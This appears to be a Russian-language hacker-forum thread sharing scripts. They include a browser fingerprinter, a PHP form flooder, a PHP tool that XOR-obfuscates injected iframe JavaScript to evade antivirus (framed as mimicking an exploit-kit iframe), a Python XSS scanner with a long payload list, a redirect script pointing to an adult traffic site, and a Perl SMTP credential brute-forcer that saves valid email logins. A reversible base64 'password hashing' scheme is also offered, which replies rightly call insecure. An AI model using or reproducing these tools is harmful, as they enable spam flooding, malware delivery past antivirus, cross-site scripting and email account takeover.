Скрипт сбора информации о пользователе. Code: <script type="text/javascript"> var browserId = '', b_id1 = '', b_id2 = '', userInf = ''; </script> <script type="text/javascript"> var jsversion = ''; for (var i = 1; i < 10; i++) document.write('<' + 'script language="javascript1.' + i + '">jsversion = "' + i + '";<' + '/script>'); b_id1 += jsversion + ''; var b_chk = 'A'; </script> <script type="text/vbscript">b_chk = "B"</script> <script type="text/javascript"> b_id1 += b_chk; b_chk = 'B'; try {delete this} catch (E) {b_chk = 'A'} b_id1 += b_chk; b_chk = 'B'; try {delete navigator} catch (E) {b_chk = 'A'} b_id1 += b_chk; b_chk = '0'; if (typeof Window == 'function') {if (window instanceof Window) {b_chk = '1';}} b_id1 += b_chk; b_chk = '0'; if (typeof Document == 'function') {if (document instanceof Document) {b_chk = '1'}} b_id1 += b_chk; b_chk = '0'; if (typeof Navigator == 'function') {if (navigator instanceof Navigator) {b_chk = '1'}} b_id1 += b_chk; b_chk = 'B'; try {var docwrite = document.write; docwrite('')} catch (E) {b_chk = 'A'} b_id1 += b_chk; b_chk = 'A'; try {eval('cons'+'t acons=true');} catch(e) {b_chk = 'B'} b_id1 += b_chk; </script> <script type="text/javascript"> if (window.crypto) {if (window.crypto.alert) {b_id1 = b_id1 + '1'}} else {b_id1 = b_id1 + '0'} </script> <script type="text/javascript"> if (typeof window.onload == "function") { var chkonload = window.onload.toString(); var isonloadanonymous = (chkonload.search('anonymous') != -1); if (isonloadanonymous) {b_id1 += '2'} else {b_id1 += '1'} } else {b_id1 += '0'} var actxobj = (typeof ActiveXObject == "function") ? 'B' : 'A'; var gactxobj = (typeof GeckoActiveXObject == "function") ? 'A' : 'B'; b_id1 += actxobj + gactxobj; </script> <script type="text/javascript"> var dopBrowserInfo = new function (ie) { var d = document, w = window; this.ff = !!w.Iterator && !!d.addEventListener && /a/[-1] == 'a'; this.ff2 = this.ff && (function x(){})[-6] == 'x'; this.ff3 = !!d.getElementsByClassName && this.ff && (function x(){})[-5] == 'x'; this.ie = (ie && '\v' == 'v'); this.ie5 = this.ie && ie == 5; this.ie6 = this.ie && (ie == 6 || (d.compatMode && d.all && !!d.readyState)); this.ie7 = this.ie && (ie == 7 && d.documentElement && typeof d.documentElement.style.maxHeight != "undefined"); this.ie8 = this.ie && (ie == 8 && !!d.querySelectorAll); this.safari = /a/.__proto__ == '//'; this.chrome = /source/.test((/a/.toString + '')); this.opera = (!ie && !!w.opera && w.opera.toString() === "[object Opera]" && /^function \(/.test([].sort)); var div = d.createElement('div'), body = d.body; div.innerHTML = '<' + 'style' + '>' + '#_t{display:none;}#_t[rel^="D"]{display:block;}' + '<' + '/style' + '>'; div.innerHTML += '<span id="_t" rel="Detect"></span>'; div.style.display = 'none'; body.appendChild(div); var obj = d.getElementById('_t'), stat = w.getComputedStyle ? w.getComputedStyle(obj, null).getPropertyValue("display") : obj.currentStyle ? obj.currentStyle.display : null; this.css3 = (stat == "block"); body.removeChild(div); this.result = new String(); this.result += (this.ff ? '1' : '0') + (this.ff2 ? '1' : '0') + (this.ff3 ? '1' : '0') + '.'; this.result += (this.ie ? '1' : '0') + (this.ie5 ? '1' : '0') + (this.ie6 ? '1' : '0') + (this.ie7 ? '1' : '0') + (this.ie8 ? '1' : '0') + '.'; this.result += (this.safari ? '1' : '0') + (this.chrome ? '1' : '0') + (this.opera ? '1' : '0') + (this.css3 ? '1' : '0'); }(0 /*@cc_on + (@_jscript_version * 10 % 10) @*/); b_id2 = dopBrowserInfo.result; delete dopBrowserInfo; </script> <script type="text/javascript"> if (window.screen.width && window.screen.height) { userInf += window.screen.width + '*' + window.screen.height; if (window.screen.colorDepth) userInf += '@' + window.screen.colorDepth; } else userInf += 'undefined'; if (navigator.systemLanguage) userInf += ' ' + navigator.systemLanguage; else userInf += ' no'; if (navigator.browserLanguage) userInf += ' ' + navigator.browserLanguage; else userInf += ' no'; if (navigator.userLanguage) userInf += ' ' + navigator.userLanguage; else userInf += ' no'; if (navigator.javaEnabled()) userInf += ' yes'; else userInf += ' no'; </script> <script type="text/javascript"> browserId = b_id1 + ' ' + b_id2 + ' ' + userInf; document.write(browserId); </script>
Универсальный флудер на PHP. PHP: <?php /* * Figaroo Multi-purpose Flooder v1.0 * * Описание: универсальный флудер * Требования: разрешение на работу с сокетами * Автор - Figaroo, http://figaroo.ru/ */ // неограниченное время выполнения скрипта set_time_limit(0); // настройки define('URL', 'POST http://localhost/poligon/global_flooder/test.php'); // HTTP-метод и URL скрипта, который будем флудить define('TIMES', 3); // количество сообщений, которых требуется отправить define('ANTIFLOOD', 5); // время задержки (антифлуда), в секундах define('COOKIES', 'param1=a; param2=b'); // кукисы define('REFERER', 'http://localhost/poligon/global_flooder/test.php'); // реферер define('USERAGENT', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'); // юзер-агент define('RNDVAR', '<VAR>'); // случайный текст будет подставлен вместо этого // данные для отправки методом GET // <VAR> будет заменено на случайное значение $GET_DATA = array( 'text' => 'Привет всем!', ); // данные для отправки методом POST // <VAR> будет заменено на случайное значение $POST_DATA = array( 'message' => 'Тест. message =) [<VAR>]', 'test' => '123', ); // флудим $count = 0; // счётчик отправленных сообщений $url = explode(' ', URL); $method = $url[0]; $url = parse_url($url[1]); if (!@$url['port']) $url['port'] = 80; $GET_DATA = array_function('rnd_var_handl', $GET_DATA); $GET_DATA = $GET_DATA ? http_build_query($GET_DATA) : ''; $POST_DATA = array_function('rnd_var_handl', $POST_DATA); $POST_DATA = $POST_DATA ? http_build_query($POST_DATA) : ''; // отправка сообщений в цикле for ($i = 0; $i < TIMES; $i++) { $fp = @fsockopen(@$url['host'], @$url['port'], $errno, $errstr, 10); if (!$fp) continue; // формируем заголовки запроса: $req = $method." ".@$url['path'].($GET_DATA ? '?'.$GET_DATA : '')." HTTP/1.1\r\n"; $req .= "Host: ".@$url['host']."\r\n"; if (USERAGENT) $req .= "User-agent: ".USERAGENT."\r\n"; if (COOKIES) $req .= "Cookie: ".COOKIES."\r\n"; if (REFERER) $req .= "Referer: ".REFERER."\r\n"; if ($method == "POST") { $req .= "Content-type: application/x-www-form-urlencoded\r\n"; $req .= "Content-Length: ".strlen($POST_DATA)."\r\n"; } // отсылаем запрос $req .= "\r\n"; if ($method == 'POST') $req .= $POST_DATA; fwrite($fp, $req); fclose($fp); $count++; // ждём $antiflood микросекунд и повторяем цикл if (ANTIFLOOD) sleep(ANTIFLOOD + 1); } // замена "случайной" переменной function rnd_var_handl ($data) { return str_replace(RNDVAR, md5(microtime(1)), $data); } // рекурсивная обработка массивов function array_function ($func, $array) { if (!is_array($array)) return call_user_func($func, $array); foreach ($array as $k => $v) { if (is_array($v)) $array[$k] = array_function($func, $v); else $array[$k] = call_user_func($func, $v); } return $array; } ?> <html> <body> <b>Отчёт:</b> <ul> <li>Отправлено <b><?=$count?></b> <b><?=$method?></b>-запросов из <b><?=TIMES?></b> требуемых;</li> <li>Интервал отправки сообщений составил <b><?=ANTIFLOOD?></b> сек.;</li> <li>Подключение осуществлялось через <b><?=@$url['host']?>:<?=@$url['port']?></b>;</li> <li>Требуемый скрипт: <b><?=@$url['path']?></b>;</li> </ul> <i>Figaroo Multi-purpose Flooder v1.0</i> </body> </html>
Проверка статуса ICQ с использованием библиотеки Curl Found PHP: <?php class ICQ { var $crc = array('253889085' => 'offline', '1177883536' => 'online', '1182613274' => 'hidden'); //CRCs valid as long as the redirect-page does not change function getCrc($url) { $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_HEADER, 0); ob_start(); curl_exec ($ch); curl_close ($ch); $cache = ob_get_contents(); ob_end_clean(); //print($cache); return (string)abs(crc32($cache)); } function status($number) { $check = $this->getCrc( 'http://status.icq.com/online.gif?icq=' . $number . '&img=5'); if (in_array($check, array_keys($this->crc))) { return $this->crc[$check]; } return false; } } ?>
Навеяло Серфил как-то по тырнету, нарвался на чей-то ифрейм, ведущий на связку. Показал знакомому, его KIS9 проглотил и даже не подавился. Захотелось написать что-то подобное. Писал на скорую руку, посему реализация хромает в паре мест. PHP: <?PHP srand(); function rvn() { $i=rand(4,6); while (strlen($a)<$i) $a.=chr(rand(97,122)); return $a; } function gen_iframe($iframe) { $var_names= array(rvn(),rvn(),rvn(),rvn(),rvn(),rvn()); $xor=rand(40,100); if (isset($iframe) && $iframe!="") { $vxod="document.write(\"$iframe\")"; for ($i=0;$i<strlen($vxod);$i++) $a.=(ord(substr($vxod,$i,1))^$xor).","; echo "<script>$var_names[0]=new Array(".substr($a,0,strlen($a)-1).");$var_names[1]=\"\";$var_names[2]=$xor;$var_names[3]=eval;$var_names[4]=String.fromCharCode;for($var_names[5] in $var_names[0])$var_names[1]+=$var_names[4](".$var_names[0]."[".$var_names[5]."]^$var_names[2]);$var_names[3]($var_names[1]);</script>\n"; } else echo "Input any text into ^^^these^^^ box and press the button.\n"; } ?> <html> <head> <title>Mini-JSobfuscator</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> </head> <body> <form method="post"> <table width="40%" border="0" align="center"> <tr> <td width="26%"><div align="center">Code:</div></td> </tr> <tr> <td><div align="center"><input name="text" value="<? echo htmlspecialchars(stripslashes($_POST[text]));?>" type="text" size="80%"></div></td> </tr> <tr> <td colspan="3" nowrap><hr></td> </tr> <tr> <td><div align="center"> <textarea readonly="true" ROWS=8 COLS=70><? @gen_iframe($_POST[text]);?></textarea> </div> </td> </tr> <tr> <td><div align="right"> <input type="submit" value="Obfuscate"> </div></td> </tr> </table> </form> <br> </body> </html> Многие антивирусы просто не замечают переобъявления функций в JS.
2-е простые функции для за/расшифровки паролей. Писал для своего блога т.к. хранить пасы в чистом виде - небезопасно. Алгоритм действий : 1. base64_encode; 2. убираем "=" ,чтоб не спалили; 3. добавляем base64_encode первых 3-х символов; 4. Переворачиваем. функии: PHP: function code($pass) { $hash=base64_encode($pass); $hash=str_replace('=','',$hash); $center=base64_encode(substr($hash,0,3)); $center=str_replace('=','',$center); $count=strlen($hash); $cn=round($count/2); $first=substr($hash,0,$cn); $second=substr($hash,$cn,$count); $hash=$first.$center.$second; $hash=strrev($hash); return $hash; } function decode($pass) { $pass=strrev($pass); $count=(strlen($pass))-4; $cn=round($count/2); $first=substr($pass,0,$cn); $second=substr($pass,$cn+4,$count+4); $pass=$first.$second; $pass=$pass.'=='; $hash=base64_decode($pass); return $hash; } релиз: PHP: <html> <head> <title>приветы от liga</title> <style> body{ background:#333; color:#888; font-family:Verdana, Arial; font-size:11px; padding:0px; margin:0px; } .form { background:#232323; color:#626262; border:1px solid #4e4e4e; padding:2px; color:#999; font-family:Verdana, Arial; font-size:11px; font-color:green; color:#727272; } h2{ font-size:11px; padding:0px 0px; color:#777; font-size:18px; font-weight:200; text-align:center; } </style> </head> <body bgcolor="black"> <center><h2>[Code-decodE]</h2></center> 1. base64_encode; <br/> 2. убирает "=" ,чтоб не спалили;<br/> 3. добавляет base64_encode первых 3-х символов; <br/> 4. Переворачивае.</br> <pre> <?php if($_POST['do'] and $_POST['text']){ $text=trim($_POST['text']); } function code($pass) { $hash=base64_encode($pass); $hash=str_replace('=','',$hash); $center=base64_encode(substr($hash,0,3)); $center=str_replace('=','',$center); $count=strlen($hash); $cn=round($count/2); $first=substr($hash,0,$cn); $second=substr($hash,$cn,$count); $hash=$first.$center.$second; $hash=strrev($hash); return $hash; } function decode($pass) { $pass=strrev($pass); $count=(strlen($pass))-4; $cn=round($count/2); $first=substr($pass,0,$cn); $second=substr($pass,$cn+4,$count+4); $pass=$first.$second; $pass=$pass.'=='; $hash=base64_decode($pass); return $hash; } if(strlen($text)<=3){ echo '<script>alert("strlen(',$text,')<=3")</script>'; $hash='пусто'; } if(!$hash) { $hash='пусто'; } switch ( $_REQUEST['ctype']) { case 0: $hash=code($text); break; case 1: $hash=$text; break; } echo ' зашифрованный пасс: <font color="green">', $hash,'</font>'; echo '<br/> расшифрованный пасс: <font color="green">',decode($hash),'</font>'; ?> <form name="" action="" method="post"> <input name='ctype' type="radio" value="0" checked>[зашифровать]<input name='ctype' type="radio" value="1" checked>[расшифровать] <input class="form" name="text" type="text" value=""><input class="form" name="do" type="submit" style="height:17px;" value="do it"> </form> </pre> </body> </html>
L I G A а смысл от них? мд5 хотябы нельзя расшифровать, а твой "хэш" если хацкер получит алгоритм то спокойно расшифрует и ты подставиш всех пользователей зареганых у тебя.
ну для начала его надо получить , я не утверждаю что у меня стоит именно такой алгоритм. мд5 нельзя сбрутить?
хеши - брутят , я написал "расшифровуют" т.к. просто именно это слово наиболее понятно подходит по смыслу.
Перестаньте придираться к словам, что мешает добавить в функцию еще и для генерации хэша из этого base64 и ложить в БД хэш, или обратно его прогнать таким образом.
Почитай на досуге что значит "расшифровать" и что значит "сбрутить" и что такое "хэш". ИМХО (это значит МОЁ мнение, я его не навязываю) лучше использовать алгоритмы типа мд5 т.к. РАСШИФРОВАТЬ невозможно, возможно сбрутить. А всякие извраты не являются хорошей защитой, т.к. рано или поздно алгоритм твоего "хэширования" может стать известен третьему лицу и тогда можно будет получить ВСЕ пароли, в отличии от мд5 в котором есть возможность брутить хэш а есть возможность и не сбрутить)) ЗЫ Хэширование - необратимое шифрование.
Данная функция позволяет конвертировать цветное изображение в черно-белое. PHP: <?php function MakeColoursGrey($im,$col){ $total=ImageColorsTotal($im); for($i=0;$i<$total;$i++){ $old=ImageColorsForIndex($im,$i); $commongrey=(int)($old[red]+$old[green]+$old[blue])/3; if(!$col){ ImageColorSet($im,$i,$commongrey,$commongrey,$commongrey); }elseif($col==1){ ImageColorSet($im,$i,$commongrey,0,0); }elseif($col==2){ ImageColorSet($im,$i,0,$commongrey,0); }elseif($col==3){ ImageColorSet($im,$i,0,0,$commongrey); } } } $img=imagecreatefromgif($src); MakeColoursGrey($img,$col); Header("Content-Type: image/gif"); ImageGif($img); ?>
Реализация простого XSS Сканнера на Питоне Code: #!/usr/bin/python import sys, urllib2, re, time, httplib, socket xss_ploads = ["%22%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E", "';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>", "'';!--\"<XSS>=&{()}", "<IMG SRC=\"javascript:alert('XSS');\">", "<IMG SRC=javascript:alert('XSS')>", "<IMG SRC=JaVaScRiPt:alert('XSS')>", "<IMG SRC=javascript:alert("XSS")>", "<IMG SRC=`javascript:alert(\"is this, 'XSS'\")`>", "<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">", "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>", "<IMG SRC=javascript:alert('XSS')>", "<IMG SRC=\"jav ascript:alert('XSS');\">", "<IMG SRC=\"jav ascript:alert('XSS');\">", "<IMG SRC=\"jav ascript:alert('XSS');\">", "<IMG SRC=\"jav ascript:alert('XSS');\">", "perl -e 'print \"<IMG SRC=java\0script:alert(\"XSS\")>\";' > out", "perl -e 'print \"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>\";' > out", "<IMG SRC=\" javascript:alert('XSS');\">", "<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\"XSS\")>", "<<SCRIPT>alert(\"XSS\");//<</SCRIPT>", "<IMG SRC=\"javascript:alert('XSS')\"", "<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>", "\";alert('XSS');//", "</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>", "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">", "<BODY BACKGROUND=\"javascript:alert('XSS')\">", "<BODY ONLOAD=alert('XSS')>", "<IMG DYNSRC=\"javascript:alert('XSS')\">", "<IMG LOWSRC=\"javascript:alert('XSS')\">", "<BGSOUND SRC=\"javascript:alert('XSS');\">", "<BR SIZE=\"&{alert('XSS')}\">", "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">", "<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS", "<IMG SRC='vbscript:msgbox(\"XSS\")'>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">", "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>", "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>", "<TABLE BACKGROUND=\"javascript:alert('XSS')\">", "<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">", "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", "<DIV STYLE=\"width: expression(alert('XSS'));\">", "<STYLE>@im\port'\ja\vasc\ript:alert(\"XSS\")';</STYLE>", "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">", "<XSS STYLE=\"xss:expression(alert('XSS'))\">", "<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>", "<BASE HREF=\"javascript:alert('XSS');//\">", "<? echo('<SCR)'; echo('IPT>alert(\"XSS\")</SCRIPT>'); ?>", "<A HREF=\"http://1113982867/\">XSS</A>", "<A HREF=\"http://www.google.com./\">XSS</A>"] def xss(payload): print "Testing:",payload #Comment out if needed try: if proxy != 0: proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'}) opener = urllib2.build_opener("http://"+host+payload, proxy_handler) source = opener.open("http://"+host+payload).read() else: source = urllib2.urlopen("http://"+host+payload).read() print "Source Length:",len(source) #Comment out if needed if re.search("xss", source.lower()) != None: print "\n[!] XSS:",host+payload,"\n" else: print "[-] Not Vuln." except(urllib2.HTTPError), msg: print "[-] Error:",msg pass print "\nd3hydr8[at]gmail[dot]com XSStest v1.1" print "---------------------------------------" if len(sys.argv) not in [2,4]: print "\nUsage: ./xsstest.py <site> <options>" print "\t[options]" print "\t -p/-proxy <host:port> : Add proxy support" print "ex: ./xsstest.py www.example.com/index.php?page= 20.15.4.76:3128\n" sys.exit(1) host = sys.argv[1].replace("http://","") if host[-1:] != "=": print "\n[-] Host should end with a \'=\'\n" sys.exit(1) try: if sys.argv[3]: proxy = sys.argv[3] print "\n[+] Testing Proxy..." h2 = httplib.HTTPConnection(proxy) h2.connect() print "[+] Proxy:",proxy except(socket.timeout): print "\n[-] Proxy Timed Out" proxy = 0 pass except(NameError): print "\n[-] Proxy Not Given" proxy = 0 pass except: print "\n[-] Proxy Failed" proxy = 0 pass print "\n[+] Scanning:",host print "[+] Loaded:",len(xss_ploads),"payloads\n" for payload in xss_ploads: time.sleep(5) #Change this in seconds, if needed xss(payload.replace("\n","")) print "\n[+] Done\n"
кто помможет разобратся?есть скрипт пеереадресации по ключу (слову набор цифр) вот пример скрипта что ставится на редикетном сайте в индекс пхп выше основного кода страницы, ключ в данном случае 888888 <? if(@$_POST['key']=="888888"): if(eregi("opera",$_SERVER['HTTP_USER_AGENT'])): print '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <script type="text/javascript"> window.location = "http://traffadult.com/advpage.php?sub=666"; </script> <meta http-equiv="Expires" content="Thu, Jan 1 1970 00:09:00 GMT"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Cache-Control" content="no-cache"> <title>ipserf.net</title> </head> <body> <a href="http://traffadult.com/advpage.php?sub=666">click me!</a> </body></html>'; exit(); else: Header("Content-type: text/vnd.wap.wml; charset=utf-8"); echo '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.2//EN" "http://www.wapforum.org/DTD/wml_1.1.xml"> <wml><head><meta http-equiv="Cache-Control" content="no-cache" forua="true"/> </head> <card id="main"> <onevent type="onenteforward"> <go href="http://traffadult.com/advpage.php?sub=666"> <setvar name="key" value="" /> </go></onevent></card></wml>'; exit(); endif; endif; ?> кто подскажет какая первая часть скрипта которая отправляет данные?очен надо может подскажет кто?
надеюсь здесь можно делать реквесты...так вот, реквестирую скрипт, который удалит из текстового файла все строчки, в которых нет букв ( a-z, A-Z, пустые строчки оставить).
SMTP email bruteforce Code: #!/usr/bin/perl use IO::Socket; use MIME::base64; use threads; use threads::shared; use Fcntl ':flock'; ############################ my $threads = 1; # Кол-во потоков my $acc_file = 'accs.txt'; # Файл с мылами(мыло:пасс) my $good = 'good.txt'; # Файл с валидными мылами my $acc_delm = ';'; # Разделитель списка мыл my $port = 25; # SMTP порт my $timeout = 15; # Таймаут ############################ system('title SMTP email brute by Gaus'); my @accs : shared = lf($acc_file); threads->new(\&main) for 1 .. $threads; $_->join for threads->list; sub main { while(@accs) { my ($mail, $pass) = split $acc_delm => shift @accs; my ($login, $domain) = split '@' => $mail; my $passw = MIME::Base64::encode($pass); $login = MIME::Base64::encode($login); $passw =~ s,\n,,; $login =~ s,\n,,; my $sock = new IO::Socket::INET(PeerAddr => 'smtp.'.$domain, PeerPort => $port, PeerProto => 'tcp', TimeOut => $timeout); sysread $sock, $answ, 1024; print $sock "AUTH LOGIN\r\n"; sysread $sock, $answ, 1024; print $sock "$login\r\n"; sysread $sock, $answ, 1024; print $sock "$passw\r\n"; sysread $sock, $answ, 1024; close $sock; if($answ =~ m,Authentication succeeded,i) { print "[ + ] $mail:$pass\n"; wf($good, "$mail:$pass\n"); } else { print "[ - ] $mail:$pass\n"; } } } sub lf { open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n"; chomp(my @data = <$dat>); close $dat; return @data; } sub wf { open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n"; flock $dat, LOCK_EX; print $dat $_[1]; flock $dat, LOCK_UN; close $dat; } #(c) Gaus 2009 Download